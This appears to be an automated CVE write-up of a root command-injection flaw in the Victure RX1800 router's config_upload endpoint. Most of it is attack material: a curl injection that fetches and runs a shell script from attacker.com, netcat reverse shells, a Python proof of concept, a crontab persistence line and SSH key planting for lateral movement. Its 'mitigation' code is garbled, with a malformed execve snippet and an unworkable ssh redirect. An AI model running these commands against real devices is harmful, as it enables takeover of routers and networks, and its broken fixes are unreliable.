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How CVE-2025-28203 Works
The Victure RX1800 EN_V1.0.0_r12_110933 firmware contains an unsanitized user input vulnerability in its web management interface. Attackers can inject malicious commands via crafted HTTP requests to the `/cgi-bin/config_upload` endpoint. The system passes user-controlled parameters directly to a shell command interpreter, allowing arbitrary command execution with root privileges. This occurs due to improper input validation in the firmware’s configuration upload feature, where filenames or form fields are concatenated into system() calls without sanitization.
DailyCVE Form
Platform: Victure RX1800
Version: EN_V1.0.0_r12_110933
Vulnerability: Command Injection
Severity: Critical
Date: 06/12/2025
Prediction: Patch by 08/2025
What Undercode Say:
Exploitation:
1. Craft malicious HTTP POST request:
curl -X POST -F "file=@/dev/null;$(curl attacker.com/shell.sh|sh);" http://target/cgi-bin/config_upload
2. Reverse shell payload:
nc -lvp 4444 -e /bin/sh
Detection:
1. Check for vulnerable firmware:
grep -r "system(" /www/cgi-bin/
2. Log analysis:
cat /var/log/httpd.log | grep "config_upload"
Mitigation:
1. Input sanitization patch:
// Replace system() with execve()
char args[] = {"/bin/ls", NULL};
execve(args[bash], args, NULL);
2. Temporary workaround:
iptables -A INPUT -p tcp --dport 80 -s !trusted_ip -j DROP
Analysis Tools:
1. Firmware extraction:
binwalk -e firmware.bin
2. Exploit PoC:
import requests
requests.post("http://target/cgi-bin/config_upload", files={"file": (";nc -e /bin/sh 192.168.1.2 4444;", "")})
Post-Exploitation:
1. Persistence:
echo "/1 root /bin/sh -c 'curl attacker.com/payload|sh'" >> /etc/crontab
2. Lateral movement:
ssh-keygen -f /root/.ssh/id_rsa -N "" && cat /root/.ssh/id_rsa.pub >> victim_host:/root/.ssh/authorized_keys
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
